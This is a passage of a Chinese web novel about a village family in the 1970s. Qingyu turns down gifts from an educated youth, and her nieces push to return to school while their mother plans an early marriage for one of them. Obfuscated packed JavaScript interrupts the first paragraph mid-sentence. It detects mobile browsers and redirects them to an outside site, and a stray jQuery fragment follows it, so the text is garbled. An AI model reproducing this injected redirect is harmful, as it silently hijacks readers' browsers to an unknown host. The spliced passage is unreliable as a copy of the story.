郁行喊住她:“等等,我有东西给你。”他快步进屋,搜寻了放在桌上好些天的零嘴,全部放在篮子里提了出去,“先前听陈叔说你喜欢吃零食,这是家中长辈和好友寄来的。我不爱吃这些,放着也是无用,青鱼拿回去和侄子们吃着打发时间吧。” 陈青鱼懵了懵,“给我?” 看到篮子里还有只熟食兔子和好些牛肉干,一看就不便宜。她左手拽着右手,艰难移开眼睛:“我不要。无功不受禄,你还是留着自己吃吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804030|174579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一溜烟的跑了。 郁行连挽留的时间都没有,背影顷刻间消失不见。他垂眸望着这些东西,难道青鱼不喜欢这些?下次还是让那边寄来甜食吧,上回巧克力她就没拒绝。 陈青鱼回家路上,对那只麻麻辣辣的兔子念念不忘,看那包装就很好吃的样子。神色郁闷的到了家。 “小姑姑,你咋了?”在门口玩泥巴的陈跃仰头问,“看我捏的小猪,小姑姑送给你哦。” 陈青鱼瞥了眼看不清小猪模样的一团黄泥巴,婉拒了:“别,我不要,你还是自己留着吧。” 陈跃也不气馁,天真的追问:“小姑姑,你还没说你咋了?是有人惹你不高兴了吗?” “是有人,小跃跃要给我报仇吗?” 陈青鱼看着小侄子傻乎乎的脸蛋,可惜的摇摇头。珍惜玩泥巴的好日子吧,九月就要送你去上学念书了。 陈跃噌的一下起身,握紧小拳头:“要报仇!小姑姑你说是谁,我和米粥他们去这人干活的地里撒尿,嘻嘻。再叫江小牛去拉坨屎粑粑。” 这话扑面而来的味道。 陈青鱼眼神复杂的看着小侄子:“你这跟谁学的啊,太恶心了。别告诉我你之前就这样做过了?”不得不说,这报复的手段折磨力度太强了。 “没有啊,是昨天我们出去找野菜,本来是我们先发现的,李旺他们仗着跑的比我们快抢先了,结果摔了,手按到了一坨屎上。然后还擦到了脸上……” 画面难以想象。 陈青鱼还想吃午饭呢,“小跃,不用说了。下回这么恶心的事你自己知道就好了。” 陈跃瘪瘪嘴:“小姑姑,这不是你先问的嘛?”他一五一十的说了,小姑姑又怪他。 哼,他要生气了。 陈青鱼敷衍的安慰两句:“哎呀呀,我是你小姑姑,还能骗你不成。乖啊,走,回家洗手了,看你脏的啊,我都不想摸你脸蛋了。” 小跃跃两句话就被哄好了,扔下小猪泥巴就紧紧跟上了。 午饭后,陈青鱼刚说躺下睡会儿午觉,敲门声响起,“阿鱼,睡了没?” 是李月的声音。 “没。”陈青鱼下床去开门,“妈,找我干嘛呀?” 李月怀里似乎藏着什么,进来后脚踢上门后露出那些东西:“刚刚郁知青来了一趟,说是有东西给你。话里意思就是让你以后在学校多帮帮他我,妈想着有理就收下了。” “你们以后抬头不见低头见的,提前打点好关系挺好。” 陈青鱼看向那些,有部分眼熟上午那会儿见过,“这怎么还有两罐麦乳精啊?” 李月:“这大人小孩都能吃,补身体的。阿鱼,我看郁知青的意思东西是给你的,你先挑挑,剩下的我拿出去给大家分。” 对于让闺女先挑好的,她没有半分羞愧。要不是她闺女在小学教书,人家郁知青也不会来送这些。 所以阿鱼先挑,没问题。 他们要是有意见,那就别怪她全归阿鱼了。 “不要。”陈青鱼象征性的拿了一小包牛肉干,“妈,其余的拿出去大家一起分吧。对了,下学期小跃该去学校了,大哥大嫂那边没意见吧?” “他们能有啥意见,这家里我还亏了哪个孩子不成。到年纪都滚去上学,少在家里捣蛋混日子。” 陈青鱼想起陈灵儿有意无意提到的事情,“妈,花花喜欢念书,要不下半年让她和灵儿回去学校读书吧?二哥二嫂他们都不怎么管,家里不穷,也没必要让她们早早嫁出去。” 她更想说的是,让花花和灵儿继续在地里干活,以刘招娣的心思,只怕是快要给花花找婆家了。 “让她们回去念书?”李月皱眉,“当初不是她们自己说不念的吗?现在又想回学校,搞什么鬼。阿鱼,实话告诉妈,这是谁的主意。” 陈青鱼白嫩指尖敲着桌面,“没谁啊,就是我觉得家里花花是真心爱读书的,万一花花努努力,又给我们家念出一个大学生来呢。这也是给爸妈你们争面子呀。” 李月没答应,也没断然拒绝,“阿鱼,这事你别瞎管。我不管她们是怎么又想回去念书的,事关谁的未来,就是谁来跟我说。” “她们没胆子跟我说,那我和你爸就没必要插手。再说了,花花和灵儿有爸妈,还轮不到我们来管。” 想让她闺女当集火的,没门儿。 17. 17 陈青鱼本就是为那姐妹俩随口一问,没说服老妈也不惊讶,转头将原话重复给了陈灵儿。剩下的就该她自己努力了。 为了给陈花花一个惊喜,陈灵儿没有提前透露一丝,也是怕万一没成,又让姐姐白高兴一场就不好了。都是私下悄悄找小姑姑说话的。 得知奶的意思,她犹豫良久后还是决定先去找亲爹多一层保障。没有十足把握,在爸妈屋外徘徊了好几分钟。 深呼吸一口气后正准备喊人,就听到屋内刘招娣的说话声。 “丰哥,花花年纪不小了,也是时候该给她相看好人家了。我娘家那边有个亲戚的儿子,各方面都不错,要不让他们见见?” 陈灵儿两眼一黑,这真是亲妈能说出来的话?陈花花今年才十四岁!这就想着要把她嫁出去了??? 上辈子自己十四岁的那会儿,还在每天笑嘻嘻的期待着放学,每天最愁的便是今天吃什么,明天吃什么。谈恋爱什么的,更是都没想过。 气愤之下,陈灵儿伸手就想推门进去。雄浑男声骤然响起,打断了她的冲动。 “见个屁!那是你亲闺女,那天爸叫你上心些,把花花早早嫁出去就是你的上心?”陈丰知道刘招娣私下偷偷和刘家有联系,左右影响不大,他就懒得管。 没想到这回,竟是算计到亲闺女身上了。 陈丰搞不明白刘招娣的想法,当年刘家贪图五十块的彩礼钱欲把她卖进县城最贫穷的那山区,愣是饿了她三天三夜。刘家这般无情待她,十多年后居然又不知咋搞一块去了。 一问,嘴里还说着什么“他们到底是我的亲人”“那是我看着长大的弟弟”“我娘也是没办法”…… 刘招娣嘴硬道:“就只是说见一见,没说要定下来。”她眼底浮现希冀,手轻轻摸着肚子:“我还听说,男娃不来的家,是因为前面孩子占了位……” 陈丰无语:“睡都没睡,你要是真有孩子了才怪。”近几年越发清心寡欲了,躺床上只想闭眼睡觉。 “我说了有花花和灵儿就够了。我兜里没几个钱,没东西留给他继承。” 他没爸妈和大哥以及两个弟弟有本事,能养活自己和媳妇俩闺女就已经累的半死了,不敢想再来个小崽子,这日子还要怎么过。 陈丰近两年对刘招娣没啥耐心了,“别说了,这事不可能。我们几个兄弟还没分家,花花和灵儿的未来大事有爸妈操心,你不怕死就尽管乱搞吧。” 刘招娣脸色难看,和陈丰过了这些年,自是知晓他很听爸妈的话,几乎是说什么就是什么。要是让他离婚,以陈丰如今对自己的不耐烦,说不定…… 不行,绝对不行! 可想生个男娃,近乎成了刘招娣的心魔。简单几句威胁,不可能彻底打消她的念头。 听到这儿,屋外的陈灵儿心绪沉沉。庆幸陈丰这个爹虽然没啥大用,但也好歹不是跟刘招娣一伙的。 “爸,你睡了没?” 不能拖了,离秋季开学只剩大半个月了。 “还没。”陈丰翻身下床,打开了门。看着小闺女怯生生的乖巧模样,语气都放轻了,“灵儿,找爸干什么?” 陈灵儿看了眼他背后,没说话。 大老粗很神奇自己看懂了闺女的意思,反手拉上门,往院子中间走了几步。 辽阔无垠的深色夜空中,月儿弯弯,繁星闪烁。清冷月光洒在地面上,明亮恍如白日。 陈灵儿抿嘴,作出一副纠结的样子,想说又不敢说。 没耐性的陈丰不禁些许心烦,怎么一个两个都这样。有啥直说不好吗,非得他逼着问。花花和灵儿也算是从小跟着小妹长大的,怎么就没学得阿鱼直白果断性子。 唉,亲的,这是亲闺女。 他安慰自己,好声好气的问:“灵儿,你想说什么快说吧。大晚上的困死了,你赶紧说完爸好回去睡觉。” 陈灵儿鼓足勇气:“爸,我和姐姐想回去读书。” 神游天际的陈丰瞬间回神,“啥?”他幻听了? “爸,我和姐姐想去学校念书。”陈灵儿重复说道,“可以吗?以前是我不懂事,连累了姐姐没能继续念书。” 她轻轻补充:“如果爸为难的话,我不去念书也行的。姐姐很厉害,她把小姑姑的那些课本都快看完了。呜呜呜~”眼含热泪。 陈丰头更疼了,想说‘不行’又瞧见小闺女可怜巴巴的眼泪,小身板瘦弱的跟柳条似的,老父亲坚硬如石的心肠不可避免的软了软。 ‘不行’二字怎么也说不出口了。 但让闺女回去念书,不是小事。花的也不是小钱,单靠他一个人供不起啊。 陈丰抓耳挠腮:“不是,闺女你别哭啊。你爸我兜里没几个钱,这事我决定不了啊。要不你去找你爷奶说说?” 说完又觉得对不住闺女喊的这声‘爸’,立即改口说:“等有空爸陪你去。” 陈灵儿吸吸鼻涕,乘胜追击:“嗯嗯,爸,那我们现在就去吧?爷和奶房屋灯亮着,应该还没睡着。” 陈丰表情为难,现在?大晚上他不想去找骂啊。 闺女可真能给他找事做。 烦! “走吧走吧,反正这一趟早晚都要走,挨骂也是迟早的事。”他仰天叹气。 陈远放李月夫妻俩和陈丰父女的谈话,在屋内看小人书的陈青鱼不得而知,只隐隐听到外边时不时传来动静声。 没打起来,就不需要她出去插手。 陈青鱼了解老妈,就是刀子嘴豆腐心。陈灵儿只要有勇气主动去说,李月会答应的。 陈家其实不穷,陈远放当了这么多年大队长,抛开老大老二不说,单就老三一人就给家里不少东西和钱财。老四在部队上,也时常给家里寄东西。 按老四的话,他没结婚的想法,还不如接济家里养小妹和嗷嗷待哺的侄子侄女们。 财不外露是硬道理,那些钱大部分都存着呢。 供几个孩子读书,是完全够的。 半个月时间一晃而过,还有几天就到九月了。地里最忙碌的那一段过去,到处散发着粮食的气息。 去外地学习回来的陈家老三,趁着学校还未开学,在周末带着媳妇孩子回了大队。夫妻俩大包小包的一人骑着一辆自行车,各自载了一个孩子。 刚进村,就受到了热情的招呼。 “哎哟,这不是江河和他媳妇嘛,你们又回来看望大队长了啊。” “俩孩子长的好快,是不是又长高了?上回看到都过去好几月了。” “还得是江河这孩子争气啊,当年看着病殃殃的,没想到现在成了陈家最有出息的。娶的媳妇也是城里的。” “嘁,你们现在知道说这些了?当年陈老三说要入赘去城里,你们一个个说的有多难听真当我们都忘了啊。” “……” 每次陈江河回来,或多或少都会听到这些闲言碎语。不过也习惯了,随他们说,又不会掉一块皮。 陈江河一家回来的消息,很快就传到了还在地里上工的李月耳朵里。 等她到家,小敏和图南两孩子已一左一右的挤在陈青鱼边上了。四岁的图南乖乖的坐在小板凳上,小肉爪一本正经的剥着还没晒干的花生。 陈青鱼和小敏一样,都喜欢吃没晒干的湿花生。 而陈江河和韦韵在厨房井然有序的忙碌着,抬头看到回来的一众家人,端着饭菜出来。 “爸妈,大哥大嫂,二哥二嫂,你们回来啦。” 韦韵温柔笑着接话:“只差最后一道菜了,孩子们还没回来吗?” 中午本该张慧做饭,如今都快被弟妹做好了,不好意思的上前:“在后面呢,午饭倒是麻烦弟妹做了。剩下的我来吧。” 一进门,炖肉香扑鼻而来。 就连惯来爱偷懒的刘招娣都勤快了,“是啊是啊,我和大嫂过来帮你们。三弟和三弟妹辛苦了,快去休息吧。”

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